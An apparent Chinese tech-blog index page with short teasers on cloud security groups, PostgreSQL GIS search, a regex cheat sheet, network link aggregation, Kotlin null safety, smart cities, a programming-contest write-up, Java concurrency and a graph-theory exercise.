建议收藏安全组是一种虚拟防火墙,通过安全组规则控制 ECS 实例出/入方向的流量,保障云服务器的安全。本文将通过介绍安全组的工作原理、功能、默认安全组和规则,以及快速上手使用安全组的操作等方面的介绍,您对于安全组有一个全面的了解,帮助您更好、更安全地开展业务上云…

京东云PostgreSQL在GIS场景的应用分享

在地图或地理信息有关的场景里,地址关键词的检索尤其重要。比如打开百度地图,想要查询某个位置的信息“北京市海淀区清华东路17号中国农业大学”,往往我们输入的是关键词“中国农业大学”而不是精确到街道的详细地址信息。在地图或地理信息有关的场景里,地址关键词的检索尤…

超全的正则表达式速查手册

一、校验数字的表达式 数字:^[0-9]*$ n位的数字:^\d{n}$ 至少n位的数字:^\d{n,}$ m-n位的数字:^\d{m,n}$ 零和非零开头的数字:^(0|[1-9][0-9]*)$ 非零开头的最多带两位小数的数字:^([1-9][0-9]*)+(.[0-9]{1,2})?$ 带1-2位小数的正数或负数:^(\-)?\d+(\.\d{1,2})?$ 正…

HCIA学习笔记二十六:手工负载分担模式二层链路聚合

一、链路聚合的应用场景• 链路聚合一般部署在核心结点,以便提升整个网络的数据吞吐量。 二、链路聚合• 链路聚合能够提高链路带宽,增强网络可用性,支持负载分担。 三、链路聚合模式• 手工负载分担模式下所有活动接口都参与数据的转发,分担负载流量。 • LACP模式支持链路…

Kotlin的空检查

我们在使用Java语言时,经常会出现空指针异常NullPointerException。Kotlin基于过往语言设计的经验对这一问题进行了改良,把运行时可能出现的null问题,以编译时错误的方式,提前在编译期强迫我们重视起来,而不是等到运行时报错,防患于未然,提高我们程序的健壮性。 Kotlin语…

智慧城市建设的三个阶段

今天的中国城市,正在疾步向前拥抱智慧时代,我国是全球智慧城市建设最为积极的国家之一。近年来,随着政策红利进一步释放与资金的大量投入,智慧城市产业也将迎来新的发展高潮。智慧城市建设步入快车道时代!据不完全统计,中国智慧城市的发展数量已经超过500个,居世界之最。…

2021年 西南石油大学超算与并行计算团队南充校区分队 第二届招新赛题解

2021年SWPU(南充)超算团队招新赛总体难度并不是很大,大部分题目考察的是基本的编程能力,题目中涉及到了一些并行计算相关的名词和知识,选手在参加比赛的同时,既能够展示自己的实力,也可以学习到相关的一些知识。下面是本次招新赛的题目A.简单输出 题目描述:题目要求:输出…

Java并发编程总结

——《Java多线程编程实战指南》学习及其他参考博客总结 串行、并行、并发 (1)串行:顺序执行多个任务,一个时刻只有一个任务在执行 (2)并行:多个CPU(核)同一时间多个任务,一个时刻有多个任务在执行 (3)并发:单个CPU(核)同一时间间隔内交替执行多个任务,一个时刻只有一…

学习随笔——洛谷题目P1636解答

摘要:欧拉图的应用。 题目原地址如下:https://www.luogu.com.cn/problem/P1636 题目截图如下: 一笔画问题,考察欧拉回路的定义,即所有节点的入度出度的和都为偶数即可满足欧拉回路的性质。我们为方便分析可加入一条线,发现加入一条边后会改变两个点的度数和,只需寻找奇数…